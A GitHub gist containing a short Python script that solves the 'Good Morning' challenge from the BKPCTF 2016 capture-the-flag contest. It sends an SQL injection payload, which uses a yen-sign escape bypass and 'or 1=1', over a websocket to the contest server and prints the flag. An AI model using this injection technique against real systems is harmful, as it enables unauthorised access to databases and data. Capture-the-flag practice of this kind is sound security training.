Skip to content

Instantly share code, notes, and snippets.

@k3an3
Created March 9, 2016 01:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k3an3/46990c5ea3991465a114 to your computer and use it in GitHub Desktop.
Save k3an3/46990c5ea3991465a114 to your computer and use it in GitHub Desktop.
Solution to the "Good Morning" challenge for BKPCTF 2016
#!/usr/bin/env python3
import json
from websocket import create_connection
url = "ws://52.86.232.163:32800/ws"
sol = '¥\" or 1=1 -- -'
ws = create_connection(url)
ws.send(json.dumps({'type': 'get_answer', 'question': 'favorite color', 'answer': sol}))
print(ws.recv())
# The flag:
print(ws.recv())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment